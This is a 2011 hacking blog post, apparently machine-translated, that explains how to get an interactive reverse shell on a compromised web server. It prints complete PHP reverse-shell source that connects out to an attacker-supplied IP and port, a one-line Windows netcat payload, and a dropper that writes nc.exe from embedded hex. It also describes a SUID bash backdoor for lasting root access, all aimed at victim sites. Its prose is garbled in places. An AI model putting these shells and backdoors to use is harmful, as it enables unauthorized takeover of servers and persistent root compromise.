Reverse Connecting Shell In Php

Written By Mujianto akhmadi pratama on Thursday, March 3, 2011 | Thursday, March 03, 2011

Root Shell is the dream of all hackers. Usually a hackers who entered thgrough a web vulnerability , will upload web shell . with web shell the hacker can execute shell command via Http reques . but still not a true shell web shell , web shell has many limitaions , one of which is it not interactive.

in this article I will explain how to get a true interactive shell of a website that successfully hacked . from the shell I also show example of local exploitation to increase the privileges of regular user ( aphace ) to root and set up a backdoor so tat the hacker can root shell anytime , reverse shell php on Linux.

I use the reverse shell from the site php pentes monkey . net is the article , reverse shell was made purely in php but in only works for UNIX - based OS such as linux . I've tried to modify the reverse shell to workin windows ,  bust have not succeeded , so for windows I would use another approach that is pure php.


Reverse shell has two configurations which hacked - coded into the file in php ,  namely the IP address and port that the server will be contacted by the reverse of this shell . for more flexibility I change these two variables to retrieve the value of Get parameters. 




set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;

Change the two lines that contain the variable $ip and $port becomes as below .


set_time_limit (0);
$VERSION = "1.0";
$ip = $_GET["ip"];
$port = $_GET["port"];
$chunk_size = 1400;

So the complete source code is as rs.php follows :

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = $_GET["ip"];
$port = $_GET["port"];
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = '/bin/bash -p -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
        // Fork and have the parent process exit
        $pid = pcntl_fork();

        if ($pid == -1) {
               printit("ERROR: Can't fork");
               exit(1);
        }

        if ($pid) {
               exit(0);  // Parent exits
        }

        // Make the current process a session leader
        // Will only succeed if we forked
        if (posix_setsid() == -1) {
               printit("Error: Can't setsid()");
               exit(1);
        }

        $daemon = 1;
} else {
        printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
        printit("$errstr ($errno)");
        exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
        printit("ERROR: Can't spawn shell");
        exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
        // Check for end of TCP connection
        if (feof($sock)) {
               printit("ERROR: Shell connection terminated");
               break;
        }

        // Check for end of STDOUT
        if (feof($pipes[1])) {
               printit("ERROR: Shell process terminated");
               break;
        }

        // Wait until a command is end down $sock, or some
        // command output is available on STDOUT or STDERR
        $read_a = array($sock, $pipes[1], $pipes[2]);
        $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

        // If we can read from the TCP socket, send
        // data to process's STDIN
        if (in_array($sock, $read_a)) {
               if ($debug) printit("SOCK READ");
               $input = fread($sock, $chunk_size);
               if ($debug) printit("SOCK: $input");
               fwrite($pipes[0], $input);
        }

        // If we can read from the process's STDOUT
        // send data down tcp connection
        if (in_array($pipes[1], $read_a)) {
               if ($debug) printit("STDOUT READ");
               $input = fread($pipes[1], $chunk_size);
               if ($debug) printit("STDOUT: $input");
               fwrite($sock, $input);
        }

        // If we can read from the process's STDERR
        // send data down tcp connection
        if (in_array($pipes[2], $read_a)) {
               if ($debug) printit("STDERR READ");
               $input = fread($pipes[2], $chunk_size);
               if ($debug) printit("STDERR: $input");
               fwrite($sock, $input);
        }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
        if (!$daemon) {
               print "$string\n";
        }
}
?>


Once the file is created, how to wear it very easy, you only need to enter the file to a website.Then request a PHP file from your browser.For example if you named the file with rs.Php , hen you simply open a browser to the URL http://adress.ip.victim/ rs.php ?ip =  No.port.hacker.adress.ip.hacker.

But first you should have prepared a '' listener '' was on a server owned by hackers.The easiest way is to use netcat program.Netcat on Linux by default already available, while for the windows must first be downloaded from here.

Two pictures below show the conditions when when rs.php on-request , immediately you set netcat to listen on port 443 accepts connections from the victim server and provides a shell for you .I chose port 443 because normally the firewall allows outbound connections on port http and https, if I choose to port 4444 on the server firewall is feared the victim will block the connection because the port that is not common.


 



If you are hosting in place which do not provide ssh access, do not worry, this way you can get an interactive shell like using ssh. Hosting Manager also do not feel safe if they do not provide ssh access to the customer because this way the customer can get shell access like ssh and local exploitation is more liberal.

Privilege Escalation 

Lets continue the scenario.

Once we get shell access as user apache { story we managed to hack the victim site by SQL inection attack } . why apache user  ? because the web server happen to run wih privileged User Apache .


Uname command hows that the hosting server using linux with krnels that are vulnerable to a nill pointer Deference . that means we can become root on thr hosting server . the image below is the steos taken by the hacker to root.



Reverse Rootshell

Having become root by exploiting the kernel , the hacker to install a backdoor so he can get root shell whenever he wants. he will make a copy of / bin / bash to / sbin / basd can be a root { for bash should be SUID root 4775 }. In this way , anyobe who executes / sbin / bash can be a root { for bash shoul be addeb-p option to get rootshell } .

After creating the ? sbin . bash , now rs root . php hackers create a new file that is modified from rs.php. The difference between rs.php and rs root . php only in the row tha contain the wariable $ shell . If the previous Variable $ shell contain / bin / bash , so now the / sbin / bash the root shell that has made hackers.





















Now backdoor rsroot.php ready executes  whenever want root shell on the victim server , he just needs to open URL http://addres.ip.victim/ rs.php ? ip = No.port.hacker.adress.ip.hacker.

the figure below show the difference between rs.php and rs root.php. When hackers het root shell y requesting the URL rs root php isible character gained promt is '' # '' which means this is root shell but when a shell in getting through rs.php then gained prompt is '' $ '' which means just normal shell as apache.












Reverse Shell in Windows

file rs.php only applies to UNIX - based servers such as Linux , the file does not apply when the web server runs on windows OS . since the implementation in pure php can not , so I deal with the way the php script executes netcat . exe to give hackers a reverse shell to the server.

In a php script ,  which utilizes netcat . exe reverse shell can be madein single Line :


<?php
system("nc.exe ".$_GET["ip"]." ".$_GET["port"]." -d -e cmd.exe");
?>
 
 
The problem is the script above call netcat { nc.exe } who generally do not exist in windows . there are several alternative ways to get nc.exe in windows . The alternative is : 

  • Download : nc.exe downloaded from a server.Download can with php or tftp.exe.
  • Upload : Created a php file to upload files to wed server.
Of the three alternatives I chose the last option, which is generated because the most practical, no need to download / upload nc.exe separately, just one php file only.he trick is that I change the contents of binary file into a form hexa nc.exe , then put it in the beginning of the php file as a string variable.Then the contents of a string variable will be converted to decimal and binary form is written into the file nc.exe .
 Php script snippet below to change the string variable in the form of hex ($ hex) into the form of an ASCII character (binary) with the functions chr ( ) and stored in the variable $ nc. 
 In this code snippet, the contents of the variable $ hex complete deliberately not written for easy viewing.

<?
$hex=
"310101010255362c043bdfcc7ca3b2ff01141b89b009b9140100d9086c64".
"2feff743a88d6c11006fe4f692cb6f91739192980f96985c8ebcbd659d0b".
"699d40629b669b4a9cdc9e309c27349c1c112dea77e00102a635002f003f".
"43fccddffd00a44700e047017700974800e0488d00984900e049dffccddf".
"8600994b00e04b73009b4d00e04d74009d4f00cddffccde04f75009f5000".
"e0509100a05100e05176f2cddffc00a15200e0529200a25300e0539300a3".
"0000237521721b243100ba78f6fdfbdd3200970300793300230f7a340024".
"077b9df87cf9df250f7c36005e001e7d3700267e38736cf00a1d1a39fd0f".
"cf97ffbc80300029812d005f001f823d002b8397b7db47d47f070e09030f".
"00947100dfde4c6d9f1136e457001707116500456b253614dd1272090407".
"db6f866d13d454f702790059001907155de1ad6dda550407166900094317".
"cdb1c1ee6f004f480018d65013220477fbb55ba2c71a5d9a001dd65553ad".
"0e1b1ce76191a6fe526bd51e815ccc1f6400440004a2c4a76e660046c321".
"671de75bc78ea222689f083f236a004a4b3460e1246b006f0b9a164cffda".
"efcb000c263b003a4e27272a072860007eca42903a95225c28beb5c7747a".
"005a8c062c7800582c7414ef0c2d630043db2e8e56e828de51af2f620042".
"f23095b81596c54e1407316d8d3dbe3fdfb100322c003c332e003e073413".
"953487748d352a72740ddbb210a054a2684655749b5b30822e3d70a46a4e".
"57616b6e3304ce3f907cce4058dc82db9a947641a80c6e8e0bcd2d144284".
"6fa6c21470652d140c1e4a1471fe36cb663b4737077748388d49394af0e4".
"d91f842d4b34dcf22c70c0b24d367d742b36cb66794f3175503291513396".
"cdb25976523092532e93bff4bf42e085e087e089e08b09e088e08ae08d72".
"66a48c5ba20337919cc056b224e04881da455c00a5c0d0c5852efd1f5253".
"4453d7cf6e066ef8969fa9d33d46fcf5fc8a7e2600633a5c3e5c5265817d";
$nc = "";
for ($i=0;$i<strlen($hex)/2;$i++) {
    $nc.=chr(hexdec($hex[$i*2].$hex[$i*2+1]));
}
file_put_contents("nc.exe",$nc);
system("nc.exe ".$_GET["ip"]." ".$_GET["port"]." -d -e cmd.exe");
?>
  
Complete source code reverse shell php on windows can be downloaded here and then extract and put it into a web server belonging to the victim. The figure below shows when rswin.php executable file and providing cmd.exe shell to the hacker's servers running Linux.
  


     

 
 
  

2 komentar:

ColdZero said...

Where is the download "link", for the source code of windows with nc.exe in hex?

pentestmonkey said...

I tried to make php-reverse-shell work on windows too, but failed. Here's what I found...

The problem is that stream_set_block(..., 0) fails on windows. This in turn causes the fread to block. Hence why I *do* get shell back, but am unable to send commands to it.

I think this is a 6 year old bug in PHP (or perhaps a limitation of windows):
https://bugs.php.net/bug.php?id=34972

Maybe there's another way to implement the reverse shell. Perhaps with several processes all doing blocking reads. I can't quite think how to make it work, though.

If anyone manages to get this working, please let me know.

Post a Comment

Popular Posts Today